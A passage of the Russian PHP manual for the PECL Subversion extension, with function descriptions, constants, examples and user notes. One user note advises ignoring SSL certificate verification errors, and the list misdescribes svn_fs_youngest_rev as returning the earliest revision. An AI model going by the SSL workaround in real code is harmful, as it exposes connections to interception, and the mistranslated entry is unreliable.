    • svn_fs_apply_text — Создаёт и возвращает поток, который будет использован для замены
    • svn_fs_begin_txn2 — Создаёт новую транзакцию
    • svn_fs_change_node_prop — Возвращает true, если операция прошла успешно или false в противном случае
    • svn_fs_check_path — Определяет, какая сущность находится в пути репозитория fsroot
    • svn_fs_contents_changed — Возвращает true, если содержимое отличается или false в противном случае
    • svn_fs_copy — Копирует файл или директорию
    • svn_fs_delete — Удаляет файл или директорию
    • svn_fs_dir_entries — Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов
    • svn_fs_file_contents — Возвращает поток для доступа к содержимому файла из данной файловой системы
    • svn_fs_file_length — Возвращает длину файла из данной файловой системы
    • svn_fs_is_dir — Определяет находится ли директория по данному пути
    • svn_fs_is_file — Определяет если находится ли файл по данному пути
    • svn_fs_make_dir — Создаёт новую пустую директорию
    • svn_fs_make_file — Создаёт новый пустой файл
    • svn_fs_node_created_rev — Возвращает номер ревизии, когда был создан путь в файловой системе
    • svn_fs_node_prop — Возвращает значение свойства для узла
    • svn_fs_props_changed — Возвращает true, если свойства разные или false в противном случае
    • svn_fs_revision_prop — Возвращает значение данного свойства
    • svn_fs_revision_root — Возвращает дескриптор определённой версии корневой директории репозитория
    • svn_fs_txn_root — Создаёт и возвращает корень транзакции
    • svn_fs_youngest_rev — Возвращает номер самой ранней ревизии в файловой системе
    • svn_import — Импорт пути без версии в репозитории
    • svn_log — Возвращает комментарии к правкам в репозитории
    • svn_ls — Возвращает список содержимого директории репозитория URL, опционально для конкретной ревизии
    • svn_mkdir — Создаёт директорию в рабочей копии или в репозитории
    • svn_repos_create — Создание нового репозитория Subversion
    • svn_repos_fs_begin_txn_for_commit — Создание новой транзакции
    • svn_repos_fs_commit_txn — Отправка транзакции и возвращение номера ревизии
    • svn_repos_fs — Возвращает дескриптор файловой системы для репозитория
    • svn_repos_hotcopy — Создаёт свежую копию репозитория по адресу repospath и копирует в destpath
    • svn_repos_open — Открывает репозиторий с общей блокировкой
    • svn_repos_recover — Запускает процедуры восстановления репозитория
    • svn_revert — Отменяет локальные изменения рабочей копии
    • svn_status — Возвращает SVN-статус файлов и директорий рабочей копии
    • svn_update — Обновляет рабочую копию

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль реализует работу PHP с » Subversion (SVN), системой управления версиями, что позволяет PHP-скриптам взаимодействовать с SVN-репозиториями и рабочими копиями без непосредственного вызова утилиты svn из командной строки.

Внимание

Этот модуль является ЭКСПЕРИМЕНТАЛЬНЫМ. Поведение этого модуля, включая имена его функций и любую другую относящуюся к нему документацию, может измениться в последующих версиях PHP без уведомления. Используйте этот модуль на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Исполняемые файлы Subversion не требуются для использования данного модуля. Тем не менее, при его компиляции, библиотека libsvn (заголовки Subversion) должна быть доступна.

User Contributed Notes

IfTrueElseFalse 01-Sep-2010 10:15
If you get
checking for svn includes... configure: error: failed to find svn_client.h

Try
sudo apt-get install libsvn-dev


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/svn

Если в ./configure есть проблемы с поиском SVN-файлов (например, Subversion был установлен из другого каталога), используйте ./configure --with-svn=$USR_PATH для указания каталога, в котором находится include/subversion-1/.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

Внимание

Если модуль скомпилирован с библиотекой libsvn 1.3, функции, которые работают с рабочими копиями, будут выполняться с ошибками при использовании рабочих копий, созданных Subversion 1.4.

User Contributed Notes

alexcescalona at gmail dot com 21-Jun-2011 08:38
If you use CollabNet's Subversion client (v. 1.6.13), the development libraries are included. For the most current version (v 1.6.17) you may need to install CollabNet Subversion Edge for access to the development libraries.

Sure, the subversion-devel package should not conflict with Collabnet, but it has a dependency with the subversion package, which installs svn binaries in /usr/bin, which takes precedence over CollabNet's path in the PATH environment variable.
chris at livingresource dot net 16-Dec-2010 08:23
If you have Ubuntu (I know 10.04+, not sure about earlier), you can do this to install the package;

sudo apt-get php5-svn
Bruno Macias 30-Nov-2010 06:44
For install in CentOS 5.5

yum install subversion subversion-devel neon neon-devel
pecl install svn

echo "extension=svn.so" > /etc/php.d/svn.ini

service httpd restart
elpoutro at free dot fr 30-Sep-2008 10:44
For Windows:
If you use a fresh install of windows XP you will need all this DLL in your C:/windows/system32/ folder:
intl3_svn.dll, libdb43.dll, libapr.dll, libapriconv.dll, libaprutil.dll, libeay32.dll, msjava.dll, php5ts.dll, ssleay32.dll, vsinit.dll, msvcr71.dll, MSVCP71.DLL
I recommend to use DependencyWalker (http://www.dependencywalker.com/) with your php_svn.dll (in php extensions) to see exactly which ones you need.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SVN_REVISION_HEAD (int)
Магическое число (-1), указывающее на последнюю ревизию
Константы, используемые с svn_auth_set_parameter()
SVN_AUTH_PARAM_DEFAULT_USERNAME (string)
Свойство, определяющее имя пользователя по умолчанию, которое будет использоваться при выполнении базовой аутентификации
SVN_AUTH_PARAM_DEFAULT_PASSWORD (string)
Свойство, определяющее пароль пользователя по умолчанию, которое будет использоваться при выполнении базовой аутентификации
SVN_AUTH_PARAM_NON_INTERACTIVE (string)
SVN_AUTH_PARAM_DONT_STORE_PASSWORDS (string)
SVN_AUTH_PARAM_NO_AUTH_CACHE (string)
SVN_AUTH_PARAM_SSL_SERVER_FAILURES (string)
SVN_AUTH_PARAM_SSL_SERVER_CERT_INFO (string)
SVN_AUTH_PARAM_CONFIG (string)
SVN_AUTH_PARAM_SERVER_GROUP (string)
SVN_AUTH_PARAM_CONFIG_DIR (string)
PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS (string)
Поле, предписывающее игнорирование ошибок верификации SSL-сертификата
Константы файловой системы
SVN_FS_CONFIG_FS_TYPE (string)
Ключ конфигурации, определяющий тип файловой системы
SVN_FS_TYPE_BDB (string)
Файловая система, реализуемая Berkeley-DB
SVN_FS_TYPE_FSFS (string)
Файловая система, реализуемая стандартным образом
Константы зарезервированных свойств
SVN_PROP_REVISION_DATE (string)
svn:date
SVN_PROP_REVISION_ORIG_DATE (string)
svn:original-date
SVN_PROP_REVISION_AUTHOR (string)
svn:author
SVN_PROP_REVISION_LOG (string)
svn:log
Константы статуса рабочей копии
SVN_WC_STATUS_NONE (int)
Статус отсутствует
SVN_WC_STATUS_UNVERSIONED (int)
Элемент не имеет версии в рабочей копии
SVN_WC_STATUS_NORMAL (int)
Элемент существует, действий над ним не происходит
SVN_WC_STATUS_ADDED (int)
Элемент запланирован к добавлению в репозиторий
SVN_WC_STATUS_MISSING (int)
Элемент имеет версию, но отсутствует в рабочей копии
SVN_WC_STATUS_DELETED (int)
Элемент запланирован к удалению
SVN_WC_STATUS_REPLACED (int)
Элемент был удалён, а затем снова добавлен
SVN_WC_STATUS_MODIFIED (int)
Элемент (текст или свойства) был изменён
SVN_WC_STATUS_MERGED (int)
Локальные изменения элемента были объединены с изменениями в репозитории
SVN_WC_STATUS_CONFLICTED (int)
Локальные изменения элемента конфликтуют с изменениями в репозитории
SVN_WC_STATUS_IGNORED (int)
Элемент не имеет версии и игнорируется системой контроля версий
SVN_WC_STATUS_OBSTRUCTED (int)
Элемент, не имеющий версии, связан с ресурсом, имеющим версию.
SVN_WC_STATUS_EXTERNAL (int)
Неверсионированный путь, заполняемый с использованием svn:externals
SVN_WC_STATUS_INCOMPLETE (int)
Директория не содержит полного списка записей
Константы типа Node
SVN_NODE_NONE (int)
Отсутствует
SVN_NODE_FILE (int)
Файл
SVN_NODE_DIR (int)
Директория
SVN_NODE_UNKNOWN (int)
Что-то, неидентифицируемое Subversion

User Contributed Notes

daevid at daevid dot com 21-Oct-2016 12:16
To get these constants so you can reverse lookup what all the integers mean, do this:

<?php

   $constants = array_flip($this->getSvnConstants('SVN_WC_STATUS'));

   $status = svn_status();

   foreach($status as &$v)
   {
          $v['text_status']       = $constants[$v['text_status']];
          $v['repos_text_status'] = $constants[$v['repos_text_status']];
          $v['prop_status']       = $constants[$v['prop_status']];
          $v['repos_prop_status'] = $constants[$v['repos_prop_status']];
    }

    public function getSvnConstants($filter='SVN_')
    {
        $constants = array();
        foreach (get_defined_constants() as $key => $value)
            if (substr($key, 0, strlen($filter)) == $filter)
                $constants[$key] = $value;

        return $constants;
    }

?>


Функции SVN

Содержание

  • svn_add — Добавляет элементы в список запланированных для добавления в рабочую копию
  • svn_auth_get_parameter — Возвращает параметр аутентификации
  • svn_auth_set_parameter — Устанавливает параметр аутентификации
  • svn_blame — Построчно выводит автора и редакцию для файла
  • svn_cat — Возвращает содержимое файла в репозитории
  • svn_checkout — Получает рабочую копию из репозитория
  • svn_cleanup — Рекурсивно очищает рабочую копию директории, завершает незаконченные операции и снимает блокировки
  • svn_client_version — Возвращает версию клиентских библиотек SVN
  • svn_commit — Отправляет изменения из рабочей директории в репозиторий
  • svn_delete — Удаляет элементы из рабочей копии или репозитория
  • svn_diff — Рекурсивно показывает различия двух файлов
  • svn_export — Экспортирует содержимое директории SVN
  • svn_fs_abort_txn — Отменяет транзакцию
  • svn_fs_apply_text — Создаёт и возвращает поток, который будет использован для замены
  • svn_fs_begin_txn2 — Создаёт новую транзакцию
  • svn_fs_change_node_prop — Возвращает true, если операция прошла успешно или false в противном случае
  • svn_fs_check_path — Определяет, какая сущность находится в пути репозитория fsroot
  • svn_fs_contents_changed — Возвращает true, если содержимое отличается или false в противном случае
  • svn_fs_copy — Копирует файл или директорию
  • svn_fs_delete — Удаляет файл или директорию
  • svn_fs_dir_entries — Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов
  • svn_fs_file_contents — Возвращает поток для доступа к содержимому файла из данной файловой системы
  • svn_fs_file_length — Возвращает длину файла из данной файловой системы
  • svn_fs_is_dir — Определяет находится ли директория по данному пути
  • svn_fs_is_file — Определяет если находится ли файл по данному пути
  • svn_fs_make_dir — Создаёт новую пустую директорию
  • svn_fs_make_file — Создаёт новый пустой файл
  • svn_fs_node_created_rev — Возвращает номер ревизии, когда был создан путь в файловой системе
  • svn_fs_node_prop — Возвращает значение свойства для узла
  • svn_fs_props_changed — Возвращает true, если свойства разные или false в противном случае
  • svn_fs_revision_prop — Возвращает значение данного свойства
  • svn_fs_revision_root — Возвращает дескриптор определённой версии корневой директории репозитория
  • svn_fs_txn_root — Создаёт и возвращает корень транзакции
  • svn_fs_youngest_rev — Возвращает номер самой ранней ревизии в файловой системе
  • svn_import — Импорт пути без версии в репозитории
  • svn_log — Возвращает комментарии к правкам в репозитории
  • svn_ls — Возвращает список содержимого директории репозитория URL, опционально для конкретной ревизии
  • svn_mkdir — Создаёт директорию в рабочей копии или в репозитории
  • svn_repos_create — Создание нового репозитория Subversion
  • svn_repos_fs_begin_txn_for_commit — Создание новой транзакции
  • svn_repos_fs_commit_txn — Отправка транзакции и возвращение номера ревизии
  • svn_repos_fs — Возвращает дескриптор файловой системы для репозитория
  • svn_repos_hotcopy — Создаёт свежую копию репозитория по адресу repospath и копирует в destpath
  • svn_repos_open — Открывает репозиторий с общей блокировкой
  • svn_repos_recover — Запускает процедуры восстановления репозитория
  • svn_revert — Отменяет локальные изменения рабочей копии
  • svn_status — Возвращает SVN-статус файлов и директорий рабочей копии
  • svn_update — Обновляет рабочую копию

User Contributed Notes

j dot saterfiel at gmail dot com 10-Jan-2013 12:53
The PHP SVN library functions as of 1.02 that are not listed in this documentation and their signatures

array svn_info(string path [, bool recurse = true [, int revision = -1]])

resource svn_copy(string log, string src_path, string destination_path [, bool working_copy = true [, int revision = -1]])

mixed svn_move(string src_path, string dst_path [, bool force = false])

mixed svn_proplist(string path [, bool recurse = false, [int revision]])

mixed svn_propget(string path, string property_name [, bool recurse = false [, int revision]])

bool svn_lock(string comment, mixed targets [, bool steal_lock = false])

bool svn_unlock(mixed targets [, bool break_lock= false])

resource svn_switch(string path, string url [, bool working_copy = true])

You can also use the new Svn() object for these $svn->lock()

In general any function should work just like the svn command line version.  For instance svn_info can be used against a remote url or a local path and svn_copy can also be used for local or remote operations.
bohwaz 03-Jan-2013 03:48
This extension also gives you access to an object API that is currently not documented anywhere. It uses the Svn, SvnWc, SvnWcSchedule and SvnNode classes. So you can't redeclare those names.

Here are some basics on how to use it:

<?php
$svn = new Svn;
$log = $svn->log('https://svn.example/trunk/', Svn::HEAD);
?>

Basically you can use all functions documented here by replacing the svn_ prefix with $svn-> object. Same for constants, most can be used directly from the objects.

If you're interested, make sure to check the extension source code to find out more.
chris dot lawrence at ljg dot com 30-Mar-2010 02:00
I also submitted this as a bug (since its about missing documentation).

This documentation does not mention the "svn_delete" command, but it was added in version 0.4.  You can check the release notes here:
http://pecl.php.net/package/svn/0.4

Also, you could look at the contents of the current source code (svn-0.5.1/svn.c).

But what you really need to know is that the svn_delete command works correctly with this prototype:
svn_delete(string path [, bool force = true])

It returns true on success and false on failure.
Pieter van Ginkel 21-Mar-2008 12:23
The Subversion functions work quite well for me, after some searching. I needed some time though to find out how they all worked together, but this is a basic example of svn_fs_is_file:

<?php

# Get a handle to the on-disk repository. Note that this
# is NOT a checked out project, but the actual svn repository!

$repos_handle = svn_repos_open('/var/lib/svn');
$fs_handle = svn_repos_fs($repos_handle);

# Now we need to open a revision because that's what the
# svn_fs_* methods need. You'll probably want the latest
# revision and we have a helper method for that.

$youngest_rev = svn_fs_youngest_rev($fs_handle);
$fs_rev_handle = svn_fs_revision_root($fs_handle, $youngest_rev);

# Now we can actually start doing stuff, for example the
# svn_fs_is_file call:

print_r(svn_fs_is_file($fs_rev_handle, '/a-file.txt'));

?>

There is one important thing to note about this all. You cannot let the handles expire while doing any calls to svn_fs_*. When implementing a helper class, I cached the first and third handle, but not the second one. PHP crashes hard when you do this. Keep references to all handles you get while you're calling the svn_fs_* methods.
tbrendstrup 19-Mar-2008 01:49
"[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]"

The subversion developers have a policy not to change stuff like this without changing the major version number, so these should be valid at least until subversion 2.0.0 is released. (more values might be added, but the existing ones won't change).
pierre dot beaumadier at rhapso dot fr 03-Oct-2007 06:59
[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]

For information, here are the numeric values I got for the constants :

Working copy status constants :
    * svn_wc_status_none => 1
    * svn_wc_status_unversioned => 2
    * svn_wc_status_normal => 3
    * svn_wc_status_added => 4
    * svn_wc_status_missing => 5
    * svn_wc_status_deleted => 6
    * svn_wc_status_replaced => 7
    * svn_wc_status_modified => 8
    * svn_wc_status_merged => 9
    * svn_wc_status_conflicted => 10
    * svn_wc_status_ignored => 11
    * svn_wc_status_obstructed => 12
    * svn_wc_status_external => 13
    * svn_wc_status_incomplete => 14

Node type constants :
    * svn_node_none => 0
    * svn_node_file => 1
    * svn_node_dir => 2
    * svn_node_unknown => 3


Добавляет элементы в список запланированных для добавления в рабочую копию

  • « Функции SVN
  • svn_auth_get_parameter »
  • PHP Manual
  • Функции SVN
  • Добавляет элементы в список запланированных для добавления в рабочую копию

svn_add

(PECL svn >= 0.1.0)

svn_add — Добавляет элементы в список запланированных для добавления в рабочую копию

Описание

svn_add(string $path, bool $recursive = true, bool $force = false): bool

Добавляет файл, папку или символическую ссылку path в рабочую копию. Данные будут добавлены в репозиторий при следующем вызове метода svn_commit() для рабочей копии.

Список параметров

path

Путь к добавляемой папке, файлу или ссылке.

Замечание: Относительные пути будут вычислены, как если бы текущая рабочая директория являлась домашней папкой самого PHP. Чтобы использовать рабочую директорию вызывающего скрипта, используйте realpath() или dirname(__FILE__).

recursive

Если добавляется директория, флаг определят будет ли рекурсивно добавлено всё её содержимое. По умолчанию true

force

Если значение параметра эквивалентно true -- Subversion будет рекурсивно просматривать уже известные директории, для того, чтобы добавить файлы, которые находятся в этих директориях, но не были взяты под контроль Subversion. По умолчанию false

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 svn_add() example

В рабочей директории, где svn status возвращает:

$ svn status
?      foobar.txt

...данный код:

<?php
svn_add('foobar.txt');
?>

...пометит файл foobar.txt как запланированный на добавление в репозиторий.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • » SVN-документация по команде svn add

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметр аутентификации

  • « svn_add
  • svn_auth_set_parameter »
  • PHP Manual
  • Функции SVN
  • Возвращает параметр аутентификации

svn_auth_get_parameter

(PECL svn >= 0.1.0)

svn_auth_get_parameter — Возвращает параметр аутентификации

Описание

svn_auth_get_parameter(string $key): string

Возвращает параметр аутентификации по ключу key. Список возможных ключей и их значений доступен в списке констант аутентификации.

Список параметров

key

Имя ключа (строка). Чтобы указать ключ, используйте список констант аутентификации, определённый данным модулем.

Возвращаемые значения

Возвращает значение параметра по ключу key в виде строки, или null, если параметр не существует.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • svn_auth_set_parameter() - Устанавливает параметр аутентификации
  • Константы аутентификации

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр аутентификации

  • « svn_auth_get_parameter
  • svn_blame »
  • PHP Manual
  • Функции SVN
  • Устанавливает параметр аутентификации

svn_auth_set_parameter

(PECL svn >= 0.1.0)

svn_auth_set_parameter — Устанавливает параметр аутентификации

Описание

svn_auth_set_parameter(string $key, string $value): void

Устанавливает параметр аутентификации в значение value по ключу key. Список возможных ключей и их значений доступен в списке констант аутентификации.

Список параметров

key

Имя ключа (Строка). Чтобы указать ключ, используйте список констант аутентификации, определённый этим модулем.

value

Строковое значение устанавливаемого параметра по ключу. Формат значений может меняться в зависимости от параметра.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Простой пример аутентификации

Этот пример показывает как настроить SVN, чтобы имя пользователя по умолчанию было 'Bob', а пароль по умолчанию - 'abc123':

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
?>

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • svn_auth_get_parameter() - Возвращает параметр аутентификации
  • Константы аутентификации

User Contributed Notes

powtac at gmx dot de 07-Jun-2011 07:38
If you having trouble with certificate verification like this:

PHP Warning:  svn_log(): svn error(s) occured 175002 (RA  layer request failed) OPTIONS of 'https://example.com/your/repos/path': Server certificate verification failed: issuer is not trusted

Try this two steps:

1. Run

"svn log https://example.com/your/repos/path"

on the commandline and permanent accept the certificate by typing "p" when asked.

2. Use the following settings for svn_auth_set_parameter() before calling other svn functions:

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME,             'your svn user');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD,             'your svn users password');
svn_auth_set_parameter(PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS, true); // <--- Important for certificate issues!
svn_auth_set_parameter(SVN_AUTH_PARAM_NON_INTERACTIVE,              true);
svn_auth_set_parameter(SVN_AUTH_PARAM_NO_AUTH_CACHE,                true);

var_dump(svn_log('https://example.com/your/repos/path'));
?>

This will work for SVN client libraries below 1.6!


Построчно выводит автора и редакцию для файла

  • « svn_auth_set_parameter
  • svn_cat »
  • PHP Manual
  • Функции SVN
  • Построчно выводит автора и редакцию для файла

svn_blame

(PECL svn >= 0.3.0)

svn_blame — Построчно выводит автора и редакцию для файла

Описание

svn_blame(string $repository_url, int $revision_no = SVN_REVISION_HEAD): array

Построчно выводит автора и редакцию для файла из репозитория.

Список параметров

repository_url

URL репозитория.

revision_no

Номер ревизии.

Возвращаемые значения

array Построчный массив со следующей информацией: номер ревизии, номер строки, строка кода, автор и дата.

Примеры

Пример #1 Пример использования функции svn_blame()

<?php
$svnurl = 'http://svn.example.org/svnroot/foo/trunk/index.php';

print_r( svn_blame($svnurl) );

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] = Array
          (
           [rev] = 1
           [line_no] = 1
           [line] = Hello World
           [author] = joesmith
           [date] = 2007-07-02T05:51:26.628396Z
          )
    [1] = Array
          ...

Смотрите также

  • svn_diff() - Рекурсивно показывает различия двух файлов
  • svn_logs()
  • svn_status() - Возвращает SVN-статус файлов и директорий рабочей копии

User Contributed Notes

There are no user contributed notes for this page.


Возвращает содержимое файла в репозитории

  • « svn_blame
  • svn_checkout »
  • PHP Manual
  • Функции SVN
  • Возвращает содержимое файла в репозитории

svn_cat

(PECL svn >= 0.1.0)

svn_cat — Возвращает содержимое файла в репозитории

Описание

svn_cat(string $repos_url, int $revision_no = ?): string

Возвращает содержимое по URL repos_url файла в репозитории по состоянию на ревизию с номером revision_no (необязательный параметр).

Список параметров

repos_url

Путь URL к элементу в репозитории.

revision_no

Номер ревизии (целое число) соответствующего элемента, по умолчанию - HEAD (последняя ревизия).

Возвращаемые значения

Возвращает содержимое элемента в репозитории в случае успешного завершения или false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример использования функции svn_cat()

Этот пример показывает как получить содержимое файла ревизии 28:

<?php
$contents = svn_cat('http://www.example.com/svnroot/calc/gui.c', 28)
?>

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • svn_list()
  • » SVN-документация по svn cat

User Contributed Notes

colm 21-Feb-2014 10:16
Just to add to Adam's comment, when retrieving a file contents I found I got the best results using the same revision in both places every time; ie. as follows:

<?php
svn_cat ($url.'@'.$revision, $revision);
?>

The one appended to the URL is the peg revision, and the one in the second paramer is the operative revision.

This seems to cover all the bases.
Adam 27-Mar-2013 02:16
There is a difference how svn cat works for deleted files. For deleted file commandline `svn cat -r xxx <full_url>` will give error, but 'svn cat <full_url>@xxx` will cat file from the past.
Unfortunately this method will not cat deleted file.


Получает рабочую копию из репозитория

  • « svn_cat
  • svn_cleanup »
  • PHP Manual
  • Функции SVN
  • Получает рабочую копию из репозитория

svn_checkout

(PECL svn >= 0.1.0)

svn_checkout — Получает рабочую копию из репозитория

Описание

svn_checkout(
string $repos,
string $targetpath,
int $revision = ?,
int $flags = 0
): bool

Получает рабочую копию с ревизией revision из репозитория repos и размещает в targetpath.

Список параметров

repos

Путь (URL) к директории, которую необходимо получить из репозитория.

targetpath

Локальный путь, куда необходимо получить рабочую копию.

Замечание: Относительные пути будут вычислены, как если бы текущая рабочая директория являлась домашней папкой самого PHP. Чтобы использовать рабочую директорию вызывающего скрипта, используйте realpath() или dirname(__FILE__).

revision

Номер ревизии (целое число), которую необходимо получить. По умолчанию HEAD, т.е. самая новая версия.

flags

Комбинации из констант SVN_NON_RECURSIVE и SVN_IGNORE_EXTERNALS.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример

Этот пример показывает, как получить директорию из репозитория в папку calc:

<?php
svn_checkout('http://www.example.com/svnroot/calc/trunk', dirname(__FILE__) . '/calc');
?>

Выражение dirname(__FILE__) используется для преобразования из относительного пути к calc в абсолютный путь. Если calc существует, то можно использовать realpath() для получения абсолютного пути.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • svn_add() - Добавляет элементы в список запланированных для добавления в рабочую копию
  • svn_commit() - Отправляет изменения из рабочей директории в репозиторий
  • svn_status() - Возвращает SVN-статус файлов и директорий рабочей копии
  • svn_update() - Обновляет рабочую копию
  • » SVN-документация о команде svn checkout

User Contributed Notes

leonardodarosa23 at gmail dot com 02-May-2016 06:08
For those who are trying to use this while they don't patch out the  SVN_IGNORE_EXTERNALS constant that is missing, I've found the equivalent integer flag if you want to use before the official release:

if(!defined('SVN_IGNORE_EXTERNALS'))
    define('SVN_IGNORE_EXTERNALS', 128);


Рекурсивно очищает рабочую копию директории, завершает незаконченные операции и снимает блокировки

  • « svn_checkout
  • svn_client_version »
  • PHP Manual
  • Функции SVN
  • Рекурсивно очищает рабочую копию директории, завершает незаконченные операции и снимает блокировки

svn_cleanup

(PECL svn >= 0.1.0)

svn_cleanup — Рекурсивно очищает рабочую копию директории, завершает незаконченные операции и снимает блокировки

Описание

svn_cleanup(string $workingdir): bool

Рекурсивно очищает рабочую копию директории workingdir, завершает любые незаконченные операции и снимает блокировки из рабочей копии. Используйте, когда необходимо возобновить работу недоступной рабочей копии.

Список параметров

workingdir

Путь к локальной рабочей копии для очистки.

Замечание: Относительные пути будут вычислены, как если бы текущая рабочая директория являлась домашней папкой самого PHP. Чтобы использовать рабочую директорию вызывающего скрипта, используйте realpath() или dirname(__FILE__).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример

Этот пример показывает, как очистить рабочую копию в директории help-me:

<?php
svn_cleanup(realpath('help-me'));
?>

В связи со странным поведением относительных путей в SVN, необходим вызов функции realpath().

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • update()
  • » SVN-документация по svn cleanup

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию клиентских библиотек SVN

  • « svn_cleanup
  • svn_commit »
  • PHP Manual
  • Функции SVN
  • Возвращает версию клиентских библиотек SVN

svn_client_version

(PECL svn >= 0.1.0)

svn_client_version — Возвращает версию клиентских библиотек SVN

Описание

svn_client_version(): string

Возвращает версию клиентских библиотек SVN

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Номер версии, обычно в формате x.y.z.

Примеры

Пример #1 Простой пример

<?php
echo svn_client_version();
?>

Результатом выполнения данного примера будет что-то подобное:

1.3.1

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Отправляет изменения из рабочей директории в репозиторий

  • « svn_client_version
  • svn_delete »
  • PHP Manual
  • Функции SVN
  • Отправляет изменения из рабочей директории в репозиторий

svn_commit

(PECL svn >= 0.1.0)

svn_commit — Отправляет изменения из рабочей директории в репозиторий

Описание

svn_commit(string $log, array $targets, bool $recursive = true): array

Отправляет изменения в файлах локальной рабочей копии, перечисленные в массиве targets в репозиторий, с сообщением log. Директории из массива targets будут рекурсивно добавлены, если параметр recursive не установлен в false.

Замечание: Эта функция не имеет параметров для установки данных аутентификации, поэтому имя пользователя и пароль должны быть заданы с помощью функции svn_auth_set_parameter()

Список параметров

log

Строка комментария для текущего изменения.

targets

Массив с путями к локальным файлам или директориям, которые будут отправлены.

Внимание

Параметр должен быть массивом, строковое значение для добавления единичного элемента не поддерживается.

Замечание: Относительные пути будут вычислены, как если бы текущая рабочая директория являлась домашней папкой самого PHP. Чтобы использовать рабочую директорию вызывающего скрипта, используйте realpath() или dirname(__FILE__).

recursive

Флаг для отключения рекурсивной отправки директорий из массива targets. По умолчанию true.

Возвращаемые значения

Возвращает массив в формате:

array(
    0 => Номер ревизии сделанного изменения
    1 => Строка с датой и временем изменения в формате ISO 8601
    2 => Имя сделавшего изменения (коммитер)
)

При неудаче операции возвращается false.

Примеры

Пример #1 Простой пример

Этот пример отправляет директорию calculator в репозиторий, используя имя пользователя Bob и пароль abc123 (будем надеяться, что пароль надёжный):

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
var_dump(svn_commit('Комментарий Bob\'а', array(realpath('calculator'))));
?>

Результат выполнения данного примера:

array(
  0 => 1415,
  1 => '2007-05-26T01:44:28.453125Z',
  2 => 'Bob'
)

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • svn_auth_set_parameter() - Устанавливает параметр аутентификации
  • » SVN-документация по svn commit

User Contributed Notes

There are no user contributed notes for this page.


Удаляет элементы из рабочей копии или репозитория

  • « svn_commit
  • svn_diff »
  • PHP Manual
  • Функции SVN
  • Удаляет элементы из рабочей копии или репозитория

svn_delete

(PECL svn >= 0.4.0)

svn_delete — Удаляет элементы из рабочей копии или репозитория

Описание

svn_delete(string $path, bool $force = false): bool

Удаляет файл, директорию или символическую ссылку path из рабочей копии. Элемент будет удалён из репозитория при следующем вызове svn_commit() из рабочей копии.

Список параметров

path

Путь к удаляемому элементу.

Замечание: Относительные пути будут вычислены, как если бы текущая рабочая директория являлась домашней папкой самого PHP. Чтобы использовать рабочую директорию вызывающего скрипта, используйте realpath() или dirname(__FILE__).

force

